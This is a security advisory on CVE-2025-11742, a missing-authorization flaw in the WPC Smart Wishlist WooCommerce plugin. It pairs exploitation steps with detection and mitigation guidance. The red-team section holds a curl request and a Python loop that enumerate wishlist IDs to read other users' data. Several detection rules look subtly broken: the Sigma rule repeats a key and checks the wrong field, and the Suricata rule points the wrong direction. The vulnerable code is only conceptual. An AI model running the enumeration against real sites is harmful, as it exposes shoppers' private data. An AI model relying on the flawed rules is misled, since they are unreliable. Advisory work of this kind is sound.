CVE-2025-11742

Executive Summary

CVE-2025-11742 is a Missing Authorization vulnerability in the WPC Smart Wishlist for WooCommerce WordPress plugin, affecting all versions up to and including 5.0.4. The flaw resides in the wishlist_quickview AJAX action, which fails to perform a capability check before processing requests. This allows authenticated attackers with Subscriber-level access or higher to view the wishlist data of other users, leading to unauthorized information disclosure.

The vulnerability is classified as Medium Severity (CVSS 4.3) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, but the attack vector is straightforward: an authenticated user can craft a request to the vulnerable AJAX endpoint to retrieve another user's wishlist contents.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The WPC Smart Wishlist plugin is a popular WooCommerce extension that allows users to save products to a wishlist. The missing capability check in the AJAX handler exposes private wishlist data, which could include product preferences, pricing, and other user-specific information.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (unauthorized data access)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires authentication. The impact is limited to data exposure (wishlist contents), which may include sensitive product preferences or pricing information.

Deep Dive & Mechanics

The vulnerability exists in the wishlist_quickview AJAX action handler. In WordPress, AJAX actions are registered via wp_ajax_ and wp_ajax_nopriv_ hooks. The wishlist_quickview action is intended to allow users to view their own wishlist items in a quick view modal. However, the handler does not verify that the requested wishlist ID belongs to the current user.

Root Cause: The function wishlist_quickview_callback() (or similar) retrieves wishlist data based on a wishlist_id parameter passed via POST/GET. It fails to call current_user_can() or check get_current_user_id() against the wishlist owner's ID. This allows any authenticated user to supply another user's wishlist ID and retrieve their data.

Attack Flow:

1. Attacker authenticates as a Subscriber.
2. Attacker identifies or enumerates wishlist IDs (e.g., via user ID or sequential IDs).
3. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=wishlist_quickview and wishlist_id=<target_id>.
4. The plugin returns the wishlist data (product IDs, names, prices, etc.) without authorization checks.

Affected Endpoint: wp_ajax_wishlist_quickview (and possibly wp_ajax_nopriv_wishlist_quickview if unauthenticated access is also allowed, but the CVE states authenticated only).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual):

add_action('wp_ajax_wishlist_quickview', 'wishlist_quickview_callback');
function wishlist_quickview_callback() {
    $wishlist_id = intval($_POST['wishlist_id']);
    // Missing capability check
    $wishlist_data = get_wishlist_data($wishlist_id);
    wp_send_json_success($wishlist_data);
}

Patched Code (Expected Fix):

add_action('wp_ajax_wishlist_quickview', 'wishlist_quickview_callback');
function wishlist_quickview_callback() {
    $wishlist_id = intval($_POST['wishlist_id']);
    // Verify the current user owns the wishlist
    if (get_current_user_id() !== get_wishlist_owner_id($wishlist_id)) {
        wp_send_json_error('Unauthorized');
        return;
    }
    $wishlist_data = get_wishlist_data($wishlist_id);
    wp_send_json_success($wishlist_data);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WPC Smart Wishlist for WooCommerce <= 5.0.4 installed and activated.
• An authenticated user account with Subscriber-level access or higher.

Exploitation Steps:

1. Log in as a Subscriber.
2. Obtain a valid nonce (if required) by inspecting the page source or making a request to the wishlist page.
3. Enumerate wishlist IDs. Wishlist IDs may be sequential or tied to user IDs. For example, user ID 1 might have wishlist ID 1.
4. Send a crafted AJAX request:

curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wishlist_quickview&wishlist_id=1' \
  --cookie 'wordpress_logged_in_<hash>=<session_cookie>'

5. Parse the JSON response to extract wishlist data (product IDs, names, etc.).

Automated Script (Python):

import requests

target = "http://target.com"
session = requests.Session()
session.cookies.update({"wordpress_logged_in_xxx": "session_cookie_value"})

for wishlist_id in range(1, 100):
    resp = session.post(f"{target}/wp-admin/admin-ajax.php", data={
        "action": "wishlist_quickview",
        "wishlist_id": wishlist_id
    })
    if resp.status_code == 200 and resp.json().get("success"):
        print(f"Wishlist {wishlist_id}: {resp.json()['data']}")

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=wishlist_quickview from authenticated users.
• Look for rapid enumeration of wishlist_id parameters (e.g., sequential IDs).
• Alert on responses containing wishlist data for users other than the requester.

Hardening (Temporary Workarounds):

• Disable the plugin until a patch is released.
• Use a Web Application Firewall (WAF) to block requests to admin-ajax.php with action=wishlist_quickview from non-admin users.
• Implement a custom plugin that adds capability checks to the vulnerable AJAX action.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=wishlist_quickview and varying wishlist_id values.
  • Repeated requests from the same IP address with sequential wishlist_id parameters.
• Log IOCs:
  • WordPress debug log entries showing wishlist_quickview AJAX calls from unexpected user roles (e.g., Subscriber).
  • Web server access logs with URIs containing admin-ajax.php and action=wishlist_quickview.
• File IOCs:
  • Modified or suspicious files in /wp-content/plugins/wpc-smart-wishlist/ (if attacker attempts to patch or backdoor).

Detection Engineering

YARA Rule

rule CVE_2025_11742_Wishlist_Quickview {
    meta:
        description = "Detects exploitation attempts of CVE-2025-11742 in WPC Smart Wishlist plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11742"
    strings:
        $ajax_action = "wishlist_quickview"
        $admin_ajax = "admin-ajax.php"
        $wishlist_id = "wishlist_id"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-11742 - WPC Smart Wishlist Unauthorized Data Access
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-11742 via AJAX requests to wishlist_quickview
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=wishlist_quickview'
    condition: selection
falsepositives:
    - Legitimate wishlist quickview requests from the wishlist owner
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11742 - WPC Smart Wishlist Unauthorized Data Access";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=wishlist_quickview"; http_client_body;
    content:"wishlist_id"; http_client_body;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-11742;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to business operations.
2. Apply a virtual patch using a WAF to block requests to admin-ajax.php with action=wishlist_quickview from non-admin users.
3. Monitor logs for suspicious AJAX activity.

Long-Term Fix:

• The vendor (Wpclever) must release a patched version that adds a capability check (e.g., current_user_can('edit_posts') or ownership verification) to the wishlist_quickview AJAX handler.
• Until a patch is available, consider replacing the plugin with an alternative that has proper authorization controls.

Workaround Code (Add to theme's functions.php or a custom plugin):

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX && isset($_POST['action']) && $_POST['action'] === 'wishlist_quickview') {
        if (!current_user_can('edit_posts')) {
            wp_send_json_error('Unauthorized');
            wp_die();
        }
    }
});

Valters IT
Securing Digital Frontiers